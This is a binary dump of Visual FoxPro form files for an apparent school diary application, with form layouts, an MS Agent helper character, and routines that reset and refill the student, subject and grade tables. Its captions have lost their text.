_34O14Z4BC1052612055 )7D WINDOWS _34O14Z4BD1052612055 WINDOWS _34O14Z4BE1052612055KZiw WINDOWS _34O14Z4BF1052612055 $ WINDOWS _34O14Z4BG1052612055 WINDOWS _34O14Z4BH1052612055-<KYf WINDOWS _34O14Z4BI1052612055 WINDOWS _34O14Z4BJ1052612055o~ WINDOWS _34O14Z4BK1052612055.<I WINDOWS _34O14Z4BL1052612055 WINDOWS _34O14Z4BM1052612055Rap~ WINDOWS _34O14Z4BN1052612055, WINDOWS _34O14Z4BO1052612055 WINDOWS _34O14Z4BP10526120555DSan WINDOWS _34O14Z4BQ1052612055 WINDOWS _34O14Z4BR1052612055w WINDOWS _34O14Z4BS1052612055 ' 6 D Q WINDOWS _34O14Z4BT1052612055 WINDOWS _34O14Z4BU1052612055X!g!v!!! WINDOWS _34O14Z4BV1052612055!""%"2" WINDOWS _34O14Z4BW1052612055""""" WINDOWS _34O14Z4BX1052612055;#J#Y#g#t# WINDOWS _34O14Z4BY1052612055###$$ WINDOWS _34O14Z4BZ1052612055}$$$$$ WINDOWS _34O14Z4C01052612055%-%<%J%W% WINDOWS _34O14Z4C11052612055%%%%% WINDOWS _34O14Z4C21053452822`&u&&&&l'F WINDOWS _34O15YMVN1046193093f\s\\\\ WINDOWS _34O15YMVO1043569749x]]]]] WINDOWS _35R15S22N1057264236.^;^H^V^c^ WINDOWS _35R15UBM11057264236 _-_:_H_U_ WINDOWS _35R160FAF1052612055`'`6`D`Q` WINDOWS _34O14Z4AW1052612055````` WINDOWS _35R160FAG1052612055Vaeataaa WINDOWS _35R160FAH1052612055abb"b/b WINDOWS _35R160FAI1052612055bbbbb WINDOWS _35R160FAJ10526120556cEcTcbcoc WINDOWS _35R160FAT1052612055cccdd WINDOWS _35R160FAU1052612055vddddd WINDOWS _35R160FAV1052612055e%e4eBeOe WINDOWS _35R160FAW1052612055eeeee WINDOWS _35R160FAX1052612055Vfeftfff WINDOWS _35R160FAY1052612055fgg"g/g WINDOWS _35R160FAZ1052612055ggggg WINDOWS _35R160FB010526120556hEhThbhoh WINDOWS _35R160FB11052612055hhhii WINDOWS _35R160FB21052612055wiiiii WINDOWS _35R160FB31052612055j'j6jDjQj WINDOWS _35R160FB41052612055jjjjj WINDOWS _35R160FB51052612055Zkikxkkk WINDOWS _34O14Z4AW1052612055k ll'l4l WINDOWS _35R160FB61052612055lllll WINDOWS _35R160FB71052612055=mLm[mimvm WINDOWS _35R160FB81052612055mmm nn WINDOWS _35R160FB91052612055nnnnn WINDOWS _35T1AE4JM1046588629 o-o:oHoUo WINDOWS _3AM1EYY531058389466oop"p/p~pz COMMENT RESERVED z{)VERSION = 3.00dataenvironmentdataenvironmentDataenvironment_Top = 220 Left = 1 Width = 520 Height = 200 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 700 Width = 1357 ShowWindow = 1 ShowInTaskBar = .F. DoCreate = .T. AutoCenter = .T. Caption = " " MaxButton = .F. MinButton = .F. MDIForm = .T. Icon = ..\ WindowType = 1 WindowState = 0 AlwaysOnTop = .T. Name = "Form1" PROCEDURE Destroy oChar.Stop(oNext) oChar.MoveTo(1256, 731) SELECT Ini GO top IF changed=.f. oNExt=oChar.Think(' , --/. !') endif ENDPROC PROCEDURE Activate try oAgent=CREATEOBJECT('Agent.Control.2') oAgent.connected=.t. oAgent.characters.Load('Carrot','C:\windows\msagent\chars\'+AgentName) oChar=oAgent.Characters('Carrot') *oChar.LanguageID=0x419 oNext=oChar.Moveto(ROUND(RozW*0.63,0),ROUND(ROzH*0.68,0)) oChar.Show() oChar.think('! , !') CATCH MESSAGEBOX(' ! .') FINALLY Really=.t. ENDTRY ENDPROC PROCEDURE Init this.Icon='Diary.ico' ENDPROC PROCEDURE Unload DO FORM Forms\AllFunctions.scx ENDPROC  h%06UCCF#)%-TC , --/. !UOCHARSTOPONEXTMOVETOINICHANGEDTHINK0TCAgent.Control.2NTa9CCarrotC:\windows\msagent\chars\TCCarrot9TCC)\(?TC (\?T C bCR! , ! hC\ ! .x T aU OAGENT CONNECTED CHARACTERSLOAD AGENTNAMEOCHARONEXTMOVETOROZWROZHSHOWTHINKREALLYT Diary.icoUTHISICON!Forms\AllFunctions.scxUFORMSDestroy,Activate<InitaUnload1QqQ1 A2!A331 # >Ur)shapeshapeShape2Form1ATop = 12 Left = 24 Height = 601 Width = 768 Name = "Shape2" shapeshapeShape1Form1BTop = 12 Left = 792 Height = 601 Width = 565 Name = "Shape1" textboxtextboxText1Form1\FontSize = 12 Height = 24 Left = 36 TabIndex = 1 Top = 36 Width = 240 Name = "Text1" textboxtextboxText2Form1\FontSize = 12 Height = 24 Left = 36 TabIndex = 2 Top = 72 Width = 240 Name = "Text2" textboxtextboxText3Form1]FontSize = 12 Height = 24 Left = 36 TabIndex = 3 Top = 108 Width = 240 Name = "Text3" textboxtextboxText4Form1]FontSize = 12 Height = 24 Left = 36 TabIndex = 4 Top = 144 Width = 240 Name = "Text4" textboxtextboxText5Form1]FontSize = 12 Height = 24 Left = 36 TabIndex = 5 Top = 180 Width = 240 Name = "Text5" textboxtextboxText6Form1]FontSize = 12 Height = 24 Left = 36 TabIndex = 6 Top = 216 Width = 240 Name = "Text6" textboxtextboxText7Form1]FontSize = 12 Height = 24 Left = 36 TabIndex = 7 Top = 252 Width = 240 Name = "Text7" textboxtextboxText8Form1]FontSize = 12 Height = 24 Left = 36 TabIndex = 8 Top = 288 Width = 240 Name = "Text8" textboxtextboxText9Form1]FontSize = 12 Height = 24 Left = 36 TabIndex = 9 Top = 324 Width = 240 Name = "Text9" textboxtextboxText10Form1_FontSize = 12 Height = 24 Left = 36 TabIndex = 10 Top = 360 Width = 240 Name = "Text10" textboxtextboxText11Form1_FontSize = 12 Height = 24 Left = 36 TabIndex = 11 Top = 396 Width = 240 Name = "Text11" textboxtextboxText12Form1_FontSize = 12 Height = 24 Left = 36 TabIndex = 12 Top = 432 Width = 240 Name = "Text12" textboxtextboxText13Form1_FontSize = 12 Height = 24 Left = 36 TabIndex = 13 Top = 468 Width = 240 Name = "Text13" textboxtextboxText14Form1_FontSize = 12 Height = 24 Left = 36 TabIndex = 14 Top = 504 Width = 240 Name = "Text14" textboxtextboxText15Form1_FontSize = 12 Height = 24 Left = 36 TabIndex = 15 Top = 540 Width = 240 Name = "Text15" textboxtextboxText16Form1_FontSize = 12 Height = 24 Left = 288 TabIndex = 16 Top = 36 Width = 240 Name = "Text16" textboxtextboxText17Form1_FontSize = 12 Height = 24 Left = 288 TabIndex = 17 Top = 72 Width = 240 Name = "Text17" textboxtextboxText18Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 18 Top = 108 Width = 240 Name = "Text18" textboxtextboxText19Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 19 Top = 144 Width = 240 Name = "Text19" textboxtextboxText20Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 20 Top = 180 Width = 240 Name = "Text20" textboxtextboxText21Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 21 Top = 216 Width = 240 Name = "Text21" textboxtextboxText22Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 22 Top = 252 Width = 240 Name = "Text22" textboxtextboxText23Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 23 Top = 288 Width = 240 Name = "Text23" textboxtextboxText24Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 24 Top = 324 Width = 240 Name = "Text24" textboxtextboxText25Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 25 Top = 360 Width = 240 Name = "Text25" textboxtextboxText26Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 26 Top = 396 Width = 240 Name = "Text26" textboxtextboxText27Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 27 Top = 432 Width = 240 Name = "Text27" textboxtextboxText28Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 28 Top = 468 Width = 240 Name = "Text28" textboxtextboxText29Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 29 Top = 504 Width = 240 Name = "Text29" textboxtextboxText30Form1`FontSize = 12 Height = 24 Left = 288 TabIndex = 30 Top = 540 Width = 240 Name = "Text30" textboxtextboxText31Form1_FontSize = 12 Height = 24 Left = 540 TabIndex = 31 Top = 36 Width = 240 Name = "Text31" textboxtextboxText32Form1_FontSize = 12 Height = 24 Left = 540 TabIndex = 32 Top = 72 Width = 240 Name = "Text32" textboxtextboxText33Form1`FontSize = 12 Height = 24 Left = 540 TabIndex = 33 Top = 108 Width = 240 Name = "Text33" textboxtextboxText34Form1`FontSize = 12 Height = 24 Left = 540 TabIndex = 34 Top = 144 Width = 240 Name = "Text34" textboxtextboxText35Form1`FontSize = 12 Height = 24 Left = 540 TabIndex = 35 Top = 180 Width = 240 Name = "Text35" textboxtextboxText36Form1`FontSize = 12 Height = 24 Left = 540 TabIndex = 36 Top = 216 Width = 240 Name = "Text36" textboxtextboxText37Form1`FontSize = 12 Height = 24 Left = 540 TabIndex = 37 Top = 252 Width = 240 Name = "Text37" textboxtextboxText38Form1`FontSize = 12 Height = 24 Left = 540 TabIndex = 38 Top = 288 Width = 240 Name = "Text38" textboxtextboxText39Form1`FontSize = 12 Height = 24 Left = 540 TabIndex = 39 Top = 324 Width = 240 Name = "Text39" textboxtextboxText40Form1`FontSize = 12 Height = 24 Left = 540 TabIndex = 40 Top = 360 Width = 240 Name = "Text40"  commandbutton commandbuttonCommand1Form1Top = 624 Left = 480 Height = 72 Width = 253 FontSize = 15 Picture = e:\my pictures\ \yes.bmp Caption = "" TabIndex = 41 PicturePosition = 1 Name = "Command1" |PROCEDURE Click PRIVATE i SELECT People SET SAFETY OFF ZAP SET SAFETY ON * People!!! IF NOT EMPTY(thisform.Text1.value) APPEND BLANK replace first_name WITH thisform.Text1.value skip ENDIF IF NOT EMPTY(thisform.Text2.value) APPEND BLANK replace first_name WITH thisform.Text2.value skip ENDIF IF NOT EMPTY(thisform.Text3.value) APPEND BLANK replace first_name WITH thisform.Text3.value skip ENDIF IF NOT EMPTY(thisform.Text4.value) APPEND BLANK replace first_name WITH thisform.Text4.value skip ENDIF IF NOT EMPTY(thisform.Text5.value) APPEND BLANK replace first_name WITH thisform.Text5.value skip ENDIF IF NOT EMPTY(thisform.Text6.value) APPEND BLANK replace first_name WITH thisform.Text6.value skip ENDIF IF NOT EMPTY(thisform.Text7.value) APPEND BLANK replace first_name WITH thisform.Text7.value skip ENDIF IF NOT EMPTY(thisform.Text8.value) APPEND BLANK replace first_name WITH thisform.Text8.value skip ENDIF IF NOT EMPTY(thisform.Text9.value) APPEND BLANK replace first_name WITH thisform.Text9.value skip ENDIF IF NOT EMPTY(thisform.Text10.value) APPEND BLANK replace first_name WITH thisform.Text10.value skip ENDIF IF NOT EMPTY(thisform.Text11.value) APPEND BLANK replace first_name WITH thisform.Text11.value skip ENDIF IF NOT EMPTY(thisform.Text12.value) APPEND BLANK replace first_name WITH thisform.Text12.value skip ENDIF IF NOT EMPTY(thisform.Text13.value) APPEND BLANK replace first_name WITH thisform.Text13.value skip ENDIF IF NOT EMPTY(thisform.Text14.value) APPEND BLANK replace first_name WITH thisform.Text14.value skip ENDIF IF NOT EMPTY(thisform.Text15.value) APPEND BLANK replace first_name WITH thisform.Text15.value skip ENDIF IF NOT EMPTY(thisform.Text16.value) APPEND BLANK replace first_name WITH thisform.Text16.value skip ENDIF IF NOT EMPTY(thisform.Text17.value) APPEND BLANK replace first_name WITH thisform.Text17.value skip ENDIF IF NOT EMPTY(thisform.Text18.value) APPEND BLANK replace first_name WITH thisform.Text18.value skip ENDIF IF NOT EMPTY(thisform.Text19.value) APPEND BLANK replace first_name WITH thisform.Text19.value skip ENDIF IF NOT EMPTY(thisform.Text20.value) APPEND BLANK replace first_name WITH thisform.Text20.value skip ENDIF IF NOT EMPTY(thisform.Text21.value) APPEND BLANK replace first_name WITH thisform.Text21.value skip ENDIF IF NOT EMPTY(thisform.Text22.value) APPEND BLANK replace first_name WITH thisform.Text22.value skip ENDIF IF NOT EMPTY(thisform.Text23.value) APPEND BLANK replace first_name WITH thisform.Text23.value skip ENDIF IF NOT EMPTY(thisform.Text24.value) APPEND BLANK replace first_name WITH thisform.Text24.value skip ENDIF IF NOT EMPTY(thisform.Text25.value) APPEND BLANK replace first_name WITH thisform.Text25.value skip ENDIF IF NOT EMPTY(thisform.Text26.value) APPEND BLANK replace first_name WITH thisform.Text26.value skip ENDIF IF NOT EMPTY(thisform.Text27.value) APPEND BLANK replace first_name WITH thisform.Text27.value skip ENDIF IF NOT EMPTY(thisform.Text28.value) APPEND BLANK replace first_name WITH thisform.Text28.value skip ENDIF IF NOT EMPTY(thisform.Text29.value) APPEND BLANK replace first_name WITH thisform.Text29.value skip ENDIF IF NOT EMPTY(thisform.Text30.value) APPEND BLANK replace first_name WITH thisform.Text30.value skip ENDIF IF NOT EMPTY(thisform.Text31.value) APPEND BLANK replace first_name WITH thisform.Text31.value skip ENDIF IF NOT EMPTY(thisform.Text32.value) APPEND BLANK replace first_name WITH thisform.Text32.value skip ENDIF IF NOT EMPTY(thisform.Text33.value) APPEND BLANK replace first_name WITH thisform.Text33.value skip ENDIF IF NOT EMPTY(thisform.Text34.value) APPEND BLANK replace first_name WITH thisform.Text34.value skip ENDIF IF NOT EMPTY(thisform.Text35.value) APPEND BLANK replace first_name WITH thisform.Text35.value skip ENDIF IF NOT EMPTY(thisform.Text36.value) APPEND BLANK replace first_name WITH thisform.Text36.value skip ENDIF IF NOT EMPTY(thisform.Text37.value) APPEND BLANK replace first_name WITH thisform.Text37.value skip ENDIF IF NOT EMPTY(thisform.Text38.value) APPEND BLANK replace first_name WITH thisform.Text38.value skip ENDIF IF NOT EMPTY(thisform.Text39.value) APPEND BLANK replace first_name WITH thisform.Text39.value skip ENDIF IF NOT EMPTY(thisform.Text40.value) APPEND BLANK replace first_name WITH thisform.Text40.value skip ENDIF thisform.progressBar.value=25.00 * !!! GO top i=1 DO WHILE NOT EOF() replace num WITH i i=i+1 skip ENDDO thisform.progressBar.value=50.00 * Subjects SELECT Subjects SET SAFETY OFF ZAP SET SAFETY ON IF NOT EMPTY(thisform.Text41.Value) APPEND BLANK replace predmet WITH thisform.Text41.value SKIP ENDIF IF NOT EMPTY(thisform.Text42.Value) APPEND BLANK replace predmet WITH thisform.Text42.value SKIP ENDIF IF NOT EMPTY(thisform.Text43.Value) APPEND BLANK replace predmet WITH thisform.Text43.value SKIP ENDIF IF NOT EMPTY(thisform.Text44.Value) APPEND BLANK replace predmet WITH thisform.Text44.value SKIP ENDIF IF NOT EMPTY(thisform.Text45.Value) APPEND BLANK replace predmet WITH thisform.Text45.value SKIP ENDIF IF NOT EMPTY(thisform.Text46.Value) APPEND BLANK replace predmet WITH thisform.Text47.value SKIP ENDIF IF NOT EMPTY(thisform.Text48.Value) APPEND BLANK replace predmet WITH thisform.Text48.value SKIP ENDIF IF NOT EMPTY(thisform.Text48.Value) APPEND BLANK replace predmet WITH thisform.Text48.value SKIP ENDIF IF NOT EMPTY(thisform.Text49.Value) APPEND BLANK replace predmet WITH thisform.Text49.value SKIP ENDIF IF NOT EMPTY(thisform.Text50.Value) APPEND BLANK replace predmet WITH thisform.Text50.value SKIP ENDIF IF NOT EMPTY(thisform.Text51.Value) APPEND BLANK replace predmet WITH thisform.Text51.value SKIP ENDIF IF NOT EMPTY(thisform.Text52.Value) APPEND BLANK replace predmet WITH thisform.Text52.value SKIP ENDIF IF NOT EMPTY(thisform.Text53.Value) APPEND BLANK replace predmet WITH thisform.Text53.value SKIP ENDIF IF NOT EMPTY(thisform.Text53.Value) APPEND BLANK replace predmet WITH thisform.Text53.value SKIP ENDIF IF NOT EMPTY(thisform.Text54.Value) APPEND BLANK replace predmet WITH thisform.Text54.value SKIP ENDIF IF NOT EMPTY(thisform.Text55.Value) APPEND BLANK replace predmet WITH thisform.Text55.value SKIP ENDIF IF NOT EMPTY(thisform.Text56.Value) APPEND BLANK replace predmet WITH thisform.Text56.value SKIP ENDIF IF NOT EMPTY(thisform.Text57.Value) APPEND BLANK replace predmet WITH thisform.Text57.value SKIP ENDIF IF NOT EMPTY(thisform.Text58.Value) APPEND BLANK replace predmet WITH thisform.Text58.value SKIP ENDIF IF NOT EMPTY(thisform.Text59.Value) APPEND BLANK replace predmet WITH thisform.Text59.value SKIP ENDIF IF NOT EMPTY(thisform.Text60.Value) APPEND BLANK replace predmet WITH thisform.Text60.value SKIP ENDIF IF NOT EMPTY(thisform.Text61.Value) APPEND BLANK replace predmet WITH thisform.Text61.value SKIP ENDIF IF NOT EMPTY(thisform.Text62.Value) APPEND BLANK replace predmet WITH thisform.Text62.value SKIP ENDIF IF NOT EMPTY(thisform.Text63.Value) APPEND BLANK replace predmet WITH thisform.Text63.value SKIP ENDIF IF NOT EMPTY(thisform.Text64.Value) APPEND blank replace predmet WITH thisform.Text64.value SKIP ENDIF thisform.progressBar.value=75.00 * !!! i=1 GO top DO WHILE NOT EOF() replace num_pred WITH i i=i+1 skip ENDDO * !!! SELECT Temjke SET SAFETY OFF ZAP SELECT Students ZAP SELECT Otsinku Zap SET SAFETY ON thisform.progressBar.value=100.00 thisform.label4.Visible=.t. FOR J=1 TO i APPEND BLANK replace urok WITH j SKIP ENDFOR thisform.Release ENDPROC n UU8% q*6U_5FG.SG. %C P>H%C >H%C >H%C >H%C  (> H%C  ^> H%C  > H%C  > H%C  > H%C 6>H%C l>H%C >H%C >H%C >H%C D>H%C z>H%C >H%C >H%C >H%C R>H%C >H%C >H%C >H%C *>H%C `>H%C >H%C >H%C  > H%C! 8>!H%C" n>"H%C# >#H%C$ >$H%C% >%H%C& F>&H%C' |>'H%C( >(H%C) >)H%C* >*H%C+ T>+H%C, >,HT-9@#) T+C+  >.THT-I@F/G.SG. %C0 S >10H%C2  >12H%C3  >13H%C4  >14H%C5 + >15H%C6 a >17H%C8  >18H%C8  >18H%C9  >19H%C: 9 >1:H%C; o >1;H%C<  >1<H%C=  >1=H%C=  >1=H%C> G >1>H%C? } >1?H%C@  >1@H%CA  >1AH%CB  >1BH%CC U >1CH%CD  >1DH%CE  >1EH%CF  >1FH%CG ->1GH%CH c>1HHT-R@ T#)+C+  >ITHFJG.SFKSFLSG. T-Y@TMNaO(N >POH QURIPEOPLETHISFORMTEXT1VALUE FIRST_NAMETEXT2TEXT3TEXT4TEXT5TEXT6TEXT7TEXT8TEXT9TEXT10TEXT11TEXT12TEXT13TEXT14TEXT15TEXT16TEXT17TEXT18TEXT19TEXT20TEXT21TEXT22TEXT23TEXT24TEXT25TEXT26TEXT27TEXT28TEXT29TEXT30TEXT31TEXT32TEXT33TEXT34TEXT35TEXT36TEXT37TEXT38TEXT39TEXT40 PROGRESSBARNUMSUBJECTSTEXT41PREDMETTEXT42TEXT43TEXT44TEXT45TEXT46TEXT47TEXT48TEXT49TEXT50TEXT51TEXT52TEXT53TEXT54TEXT55TEXT56TEXT57TEXT58TEXT59TEXT60TEXT61TEXT62TEXT63TEXT64NUM_PREDTEMJKESTUDENTSOTSINKULABEL4VISIBLEJUROKRELEASEClick,1qqaAabQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AARAAraAabQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAbQ1AAQAAraAqAqAaqQAA2q)UlabellabelLabel1Form1FontSize = 15 WordWrap = .T. Caption = " , , . " Height = 72 Left = 552 Top = 420 Width = 229 TabIndex = 43 BackColor = 255,255,0 Name = "Label1" imageimageImage1Form1yPicture = e:\my pictures\other\okey.jpg Stretch = 1 Height = 108 Left = 552 Top = 492 Width = 204 Name = "Image1" labellabelLabel2Form1FontSize = 15 Alignment = 0 Caption = " , " Height = 24 Left = 36 Top = 12 Width = 336 ForeColor = 0,0,0 BackColor = 255,255,0 Name = "Label2" labellabelLabel3Form1FontSize = 15 Caption = " , , :" Height = 24 Left = 804 Top = 12 Width = 492 ForeColor = 0,0,0 BackColor = 255,255,0 Name = "Label3" textboxtextboxText41Form1^FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 36 Width = 240 Name = "Text41" textboxtextboxText42Form1^FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 72 Width = 240 Name = "Text42" textboxtextboxText43Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 108 Width = 240 Name = "Text43" textboxtextboxText44Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 144 Width = 240 Name = "Text44" textboxtextboxText45Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 180 Width = 240 Name = "Text45" textboxtextboxText46Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 216 Width = 240 Name = "Text46" textboxtextboxText47Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 252 Width = 240 Name = "Text47" textboxtextboxText48Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 288 Width = 240 Name = "Text48" textboxtextboxText49Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 324 Width = 240 Name = "Text49" textboxtextboxText50Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 360 Width = 240 Name = "Text50" textboxtextboxText51Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 396 Width = 240 Name = "Text51" textboxtextboxText52Form1_FontSize = 12 Height = 24 Left = 804 TabIndex = 1 Top = 432 Width = 240 Name = "Text52" textboxtextboxText53Form1_FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 36 Width = 240 Name = "Text53" textboxtextboxText54Form1_FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 72 Width = 240 Name = "Text54" textboxtextboxText55Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 108 Width = 240 Name = "Text55" textboxtextboxText56Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 144 Width = 240 Name = "Text56" textboxtextboxText57Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 180 Width = 240 Name = "Text57" textboxtextboxText58Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 216 Width = 240 Name = "Text58" textboxtextboxText59Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 252 Width = 240 Name = "Text59" textboxtextboxText60Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 288 Width = 240 Name = "Text60" textboxtextboxText61Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 324 Width = 240 Name = "Text61" textboxtextboxText62Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 360 Width = 240 Name = "Text62" textboxtextboxText63Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 396 Width = 240 Name = "Text63" textboxtextboxText64Form1`FontSize = 12 Height = 24 Left = 1068 TabIndex = 1 Top = 432 Width = 240 Name = "Text64" labellabelLabel4Form1FontSize = 15 Caption = "!" Height = 24 Left = 1164 Top = 636 Visible = .F. Width = 120 ForeColor = 255,0,0 Name = "Label4"  olecontrol olecontrol ProgressBarForm1GTop = 636 Left = 792 Height = 37 Width = 360 Name = "ProgressBar"  ࡱ> Root Entry^DJn@OleObjectData`AccessObjSiteData&\ChangedProps":5j(6(!C45%Bͫ\$89368265E-85FE-11d1-8BE3-0000F8754DA1S/.OLEObject = C:\Windows\system32\MSCOMCTL.OCX eArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 12, 7, 19, 15, 43, 3, 1 Arial, 0, 15, 9, 24, 19, 53, 4, 1 0  mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _38B0OW2FM1052664029/F] WINDOWS _38B0OW2FN1053645604 WINDOWS _38B0OW2FO1052664029 WINDOWS _38B0OW2FP1052665455ZoW WINDOWS _38B0OW2FQ1052665455 WINDOWS _38B0OW2FR1052669542  q COMMENT RESERVED <VERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 342 Width = 535 ShowWindow = 1 DoCreate = .T. AutoCenter = .T. Caption = "" FontSize = 9 MaxButton = .F. MinButton = .F. Icon = ..\ WindowType = 1 Name = "Form1" 2PROCEDURE Init this.Icon='Diary.ico' ENDPROC  B%Xlf6UT Diary.icoUTHISICONInit,12')labellabelLabel1Form1QAutoSize = .F. FontSize = 14 WordWrap = .T. Caption = " , , , ! ." Height = 96 Left = 12 Top = 12 Width = 504 ForeColor = 255,0,0 Name = "Label1"  commandbutton commandbuttonCommand1Form1Top = 240 Left = 72 Height = 61 Width = 396 FontSize = 14 Caption = " , - !" Enabled = .F. ForeColor = 128,0,0 Name = "Command1" hPROCEDURE Click SET safety off SELECT Students ZAP SELECT Otsinku ZAP SET SAFETY ON ENDPROC  %hw6U%G.FSFSG. USTUDENTSOTSINKUClick,1aqAqAa2])labellabelLabel2Form1FontSize = 13 WordWrap = .T. Caption = ' , , "", . ' Height = 48 Left = 84 Top = 120 Width = 372 ForeColor = 0,0,0 Name = "Label2" textboxtextboxText1Form1gFontSize = 12 Height = 25 Left = 168 Top = 192 Width = 204 BackColor = 255,255,0 Name = "Text1" @PROCEDURE KeyPress LPARAMETERS nKeyCode, nShiftAltCtrl oNext=oChar.Think(' , !') ENDPROC PROCEDURE InteractiveChange x=PROPER(this.value) this.Value=x IF (TRIM(this.Value)='') thisform.command1.Enabled=.t. endif ENDPROC  %[ 6Us eTCQ , !UNKEYCODE NSHIFTALTCTRLONEXTOCHARTHINKYTCT%C`RTaUXTHISVALUETHISFORMCOMMAND1ENABLEDKeyPress,InteractiveChange1Q3!A25)eArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 14, 8, 23, 18, 51, 4, 1 Arial, 0, 12, 7, 19, 15, 43, 3, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _38L0QNQQB1053385545/F] WINDOWS _38L0QNQQC1059027722 WINDOWS _3A90SSKAX1059027722P ] j x WINDOWS _38L0QNQQB1057516368  ' WINDOWS _38L0QNQQB1057516368 WINDOWS _38L0QNQQE1057516368 ) 6 D Q WINDOWS _38L0QNQQF1057516368  " / < WINDOWS _38L0QNQQG1057516368  WINDOWS _38L0QNQQH1057516368Ubo} WINDOWS _38L0QNQQI1057516368Udsi WINDOWS _38L0SOL051058892154]r WINDOWS _38L0SOL061057516368)>Scp WINDOWS _39V12YENC1059027722" WINDOWS _3A90SSKAY1057516368 WINDOWS _3A90SSKAZ1057516368 COMMENT RESERVED VERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 316 Width = 636 ShowWindow = 2 ShowInTaskBar = .F. DoCreate = .T. AutoCenter = .T. Caption = "..." FontSize = 13 MaxButton = .F. MinButton = .F. Icon = ..\ WindowType = 1 AlwaysOnTop = .F. Name = "Form1" %PROCEDURE Unload SELECT ini GO top IF changed=.f. CLEAR EVENTS endif ENDPROC PROCEDURE Init this.Icon='Diary.ico' SELECT ini GO top IF (changed=.f.).and.(OP=.f.) oChar.Stop(oNExt) oNext=oChar.Think('! . , . , !') this.TitleBar= 0 this.command3.Enabled=.f. OP=.t. ENDIF ENDPROC PROCEDURE Destroy oChar.Stop(oNext) oChar.MoveTo(1256,731) ENDPROC 2 %W6U'F#)%- UINICHANGEDOT Diary.icoF#)%-- HCTC! . , . , !T T - TaU THISICONINICHANGEDOPOCHARSTOPONEXTTHINKTITLEBARCOMMAND3ENABLED)CCUOCHARSTOPONEXTMOVETOUnload,IniteDestroy1qQQA2qQ A3Q1Kf)shapeshapeShape3Form1eTop = 156 Left = 12 Height = 60 Width = 613 Visible = .F. BackColor = 0,255,0 Name = "Shape3" shapeshapeShape2Form1YTop = 96 Left = 12 Height = 60 Width = 613 BackColor = 192,192,192 Name = "Shape2" shapeshapeShape1Form1WTop = 12 Left = 12 Height = 85 Width = 613 BackColor = 255,255,0 Name = "Shape1" labellabelLabel1Form1AutoSize = .T. FontSize = 13 Caption = ", ﳿ" Height = 22 Left = 18 Top = 24 Width = 313 BackColor = 255,255,0 Name = "Label1" textboxtextboxText1Form1OEnabled = .F. Height = 25 Left = 336 Top = 24 Width = 180 Name = "Text1" HPROCEDURE Init SELECT Ini GO top SKIP 2 this.Value=Genao ENDPROC  %q6U(F#) 